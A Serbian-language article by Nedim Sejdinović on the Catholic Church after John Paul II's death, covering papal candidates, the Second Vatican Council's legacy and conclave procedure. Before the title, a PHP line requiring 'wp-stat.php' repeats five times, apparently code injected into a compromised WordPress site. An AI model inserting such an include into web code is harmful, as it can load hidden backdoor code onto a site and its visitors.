@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); VATIKAN POSLE SMRTI JOVANA PAVLA II: Levitiranje između konzervativnog i modernog – Nedim Sejdinović

VATIKAN POSLE SMRTI JOVANA PAVLA II: Levitiranje između konzervativnog i modernog

Mada ima onih koji tvrde da je nedavno preminuli papa Jovan Pavle II bio “konzervativac”, navodeći kao dokaz njegovo protivljenje abortusu i homoseksualnim brakovima, većina poznavalaca religije i Vatikana ustvrdiće upravo obrnuto – svetovni Karol Vojtila bio je modernizator Rimokatoličke crkve. On je, kako kažu, nastavio i svojim delom obogatio put koji je pre četrdesetak godina započet na Drugom vatikanskom koncilu, kada je Crkva odlučila da prihvati činjenicu da se svet bespovratno promenio i odustala od toga da neprestano dolazi u konflikt sa novim vremenom i novim idejama, shvativši da kao anahrona institucija sve više gubi popularnost među vernicima.

Svojim autoritetom papa Jovan Pavle II definisao je do tada potpuno nejasan odnos Crkve prema ekonomiji i društvu, posebice prema kapitalizmu. Rimokatolička crkva je dugo vremena izbegavala da se odredi prema slobodnom tržištu, ali je držala i veliku distancu od socijalizma. Svojom ekciklikom «Centesimus Annus» razrešio je nedoumicu rekavši da je «slobodno tržište najefikasniji instrument za korišćenje resursa i delotvorno», ali je istovremeno istakao da postoje mnoge ljudske potrebe koje na tržištu ne nalaze mesto. On je takođe rekao da je «profitabilnost indikator dobrog stanja u firmi», ali da postoje slučajevi «kada su finansijski obračuni u redu a kada su ljudi koji rade u firmi poniženi i povređeno im je dostojanstvo».

Ova ekciklika se smatra velikim modernizujućim faktorom ne samo za Crkvu nego i za čitav svet, a stavovi izneseni u njoj izuzetno su bliski stavovima liberalnih filozofa Adama Smita i Herberta Spensera, čije učenje je nekada RKC osuđivala.

POMERANJE STENE

U razgovoru za “Građanski list”, profesor sociologije religije na Univerzitetu u Beogradu Milan Vukomanović ističe da je Jovan Pavle II, kao legat, svom nasledniku ostavio pontifikat dug više od četvrt veka, period vremena i aktivnosti koje su obeležile kraj XX i početak XXI veka, u čemu je mnogo toga bilo od istorijskog značaja.

– Jovan Pavle II je bio ne samo religijski lider od svetskog značaja, već i markantni svetski državnik u doba kad na svetskoj pozornici više i nema velikih državnika staroga kova. On je bio prvi postkomunistički papa, kao i ambasador mira u vreme surovih međuetničkih sukoba i terorizma čiji smo svedoci i u novom milenijumu. Ovaj papa je bio nominovan za Nobelovu nagradu za mir, preživeo je atentat, umeo je da prašta i da hrišćanski traži oprost za svoju crkvu. Njegovom nasledniku neće biti nimalo lako da s jednakom hrabrošću, autoritetom, odlučnošću, verom i ljubavlju pomeri stenu koju je ponekad i uzbrdo gurao papa Vojtila – kaže Vukomanović.

KUDA DALJE?

Pitanje kojim se ovih dana bave skoro svi sociolozi religije na svetu jeste kuda će katolička crkva krenuti posle smrti Jovana Pavla Drugog. Da li će i dalje njena osnovna odrednica biti “reformatorski” Drugi vatikanski koncili? Da li će se proces “približavanja stvarnosti” ubrzati ili usporiti i dokle će on ići? Smatra se da među 117 kardinala, od kojih svako potencijalno može biti novi papa, postoji većina onih koji će nastaviti putem prethodnika, ali da među njima ima i onih konzervativnijih, čije poteze, ukoliko budu izabrani za papu, nije moguće naslutiti. To pitanje svakako nije pitanje koje se tiče samo vernika Rimokatoličke crkve, već celog sveta. To je pitanje kako će ova crkva u budućnosti koristiti svoj ogroman uticaj na svetska zbivanja. Pojedinci tvrde da su, u jednoj ravni, izbori za novog papu za svet važni koliko i izbori za predsednika SAD.

Već nekoliko godina traju nagađanja ko će naslediti pokojnog papu, a sada su ona dospele na stranice svih svetskih listova. Jedni tvrde da će novi papa biti tamnoput, drugi su uvereni da će biti Italijan, a neki opet imaju informacije da će u “svetu solicu” sesti Latinoamerikanac. Vrsni poznavalac vatikanskih tema, publicista Mirko Đorđević, kaže za “Građanski list” da su otvorene sve mogućnosti, a da ima prostora i za velika iznenađenja.

– Ako se već igramo pogađanja, po mojim saznanjima najviše šanse imaju milanski nadbiskup Tetamanci, nigerijski kardinal Frensis Arinze i Latinoamerikanac Klaudio Humez. Ipak, verujem da će novi papa biti Evropljanin – kaže Đorđević.

NIJEDAN PAPA NIJE PRELAZNI

Tetamanci već godinama slovi kao kandidat za papu, poznat je kao etičar, temeljni poznavalac problematike porodice i izrazito je osetljiv na teme socijalne pravde i globalizacije. Đorđević, međutim, smatra da ličnost novog pape neće imati mnogo značaja za buduću politiku Vatikana, jer će se ona kretati linijom koja je zacrtana na Drugom vatikanskom koncilu. Ogromna većina kardinala, po njemu, jesu ličnosti visokih kvaliteta, koji već dugo razmišljaju moderno i globalno.

– Istorija nas uči da postoji ipak mogućnost i za iznenađenja. Recimo, niko nije verovao da će papa Jovan XXIII biti ličnost koja će sazvati Drugi vatikanski koncil i na njemu srušiti srednjovekovnu crkvu i stvoriti novu, modernu – kaže Đorđević.

Milan Vukomanović, pak, ističe značaj same ličnosti pape, baš zbog velike moći, uticaja i religijske harizme koju poseduje svaki «pontifex maximus» u RKC i takođe kao primer navodi slučaj Jovana XXIII.

– Čak i u slučajevima kada bi kardinali izabrali nekakvog «prelaznog papu», čoveka u poznijim godinama života, kao što je bio slučaj sa Jovanom XXIII, poglavar Katoličke crkve je mogao imati presudni, istorijski uticaj na trenutnu religijsku politiku i buduća zbivanja uVatikanu i svetu. Drugi vatikanski koncil jedan je od najznačajnijih događaja ne samo u povesti RKC, već i u XX veku u celini. Kao rezultat tog sabora, crkva se nepovratno opredelila za dijalog s drugim verskim zajednicama, a ukinuta je i anatema koja je pratila raskol RKC i Pravoslavne crkve punih 900 godina – kaže Vukomanović i dodaje da sada ostaje da vidimo da li će se kardinali okupljeni u Sikstinskoj kapeli opredeliti za reformistu, konzervativca ili umerenjaka.

KONZERVATIVNI MODERNIZAM

Đorđević ističe da se sama Crkva zasniva na konzervativizmu i da je, bez obzira na to ko će biti papa i kakvu će politiku voditi, nemoguće od nje očekivati da učini neke stvari koje od nje zahtevaju, možda i neopravdano s obzirom na suštinu katolicizma, određeni vanverski krugovi. Sigurno da ona neće pristati, kaže on, na žensko služenje u crkvi i blagosiljanje homoseksualnih brakova.

– Pokojni papa je bio poznat po ravnoteži koju je držao između modernog i konzervativnog. Taj put će, po svemu sudeći, nastaviti i sledeći papa, a od njegove veštine zavisi koliko će uspešno tu ravnotežu održavati. U svakom slučaju, ne može se očekivati povratak u vreme pred Drugi vatikanski koncil, jer su principi tog koncila postali način života modernog katolicizma. Odustajanje od tih principa bio bi direktan put u Srednji vek, a Crkva, ako ni iz čega drugog ono iz vlastitog iskustva, zna da bi taj put bio poguban i po nju samu – kaže Đorđević.

Nedim Sejdinović

PAPA BIO CRN TRIPUT DO SADA

Jedan od “favorita” u trci za “svetu stolicu” jeste nigerijski kardinal Frensis Arinze, koji bi, u slučaju da bude izabran, bio prvi tamnoputi papa u povesti hrišćanstva. Njegov izbor bi, tvrde analitičari, ojačao papinstvo na međunarodnom planu, ali bi bio i odraz jačanja Katoličke crkve u afričkim zemljama.

Pojedini istoričari Vatikana, međutim, opovrgavaju tezu da bi Arinze bio prvi crni papa. Oni, mada nemaju čvrste dokaze, smatraju da su tamnoputi bili i papa Viktor, koji je stolovao između 2. i 3. veka, potom papa Militiades na početku 4. i papa Gelasisus I s kraja 5. veka. Svoju tvrdnju zasnivaju na činjenici da su ove pape bili poreklom iz Afrike (iako Rimljani), međutim ne postoji niti jedna vizuelna prezentaciju uz pomoć koje bi se mogao utvrditi njihov izgled.

PUT DO NOVOG PAPE

Kao i vekovima do sada, proces odabira novog pape biće obavijen velom tajne, bez ikakvog prisustva javnosti. Novog papu će izabrati najviši velikodostojnici Rimokatoličke crkve, iliti 117 kardinala, na tajnoj sednici u vatikanskoj Sikstinskoj kapeli. Kardinalima će biti zabranjeno unošenje mobilnih telefona, a dva tehničara će podrobno pretražiti kapelu, za slučaj da je neko podmetnuo prislušne uređaje. Svaki kardinal će na parčetu papira, vodeći računa da ga rukopis ne oda, napisati ime svog favorita, a presavijeni papirići se potom stavljaju u pehar. Glasovi se javno broje, a posle drugog kruga glasanja, papirići se spaljuju. Novi papa mora da dobije dve trećine plus jedan glas, a ukoliko se to ne desi, odnosno oka izbor potraje danima, biće izabran onaj koji je dobio apsolutnu većinu (više od polovine glasova). Dok traje izbor, par stotina hiljada vernika pažljivo će motriti na dimnjak Sikstinske kapele. Crni dim označava da nijedan od predloženih kardinala nije dobio potrebnu većinu, dok beli dim označava da je izabran novi papa.

Karol Vojtila je izabran za dva dana, dok je njegov prethodnik izabran za samo nekoliko sati, ali u prošlosti taj proces je znao da potraje mnogo duže. Recimo, davne 1271. godine, tri godine pošto je papski tron ostao upražnjen, zabrinuti katolici su zaključali neodlučne kardinale u oronulu zgradu, stavili ih na strogu dijetu od hleba i vode sve dok nisu doneli odluku. Kao dodatnu motivaciju, uklonili su krov zgrade. Nakon pljuskova i jarkog sunca, kardinali su konačno izabrali papu Grgura X.

Odluka kardinala zna često da bude iznenađujuća. Iznenađujući je bio i izbor Karola Vojtile. Niko naime nije očekivao poljskog papu, kada se 1978. godine Jovan Pavle II pojavio na balkonu.

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.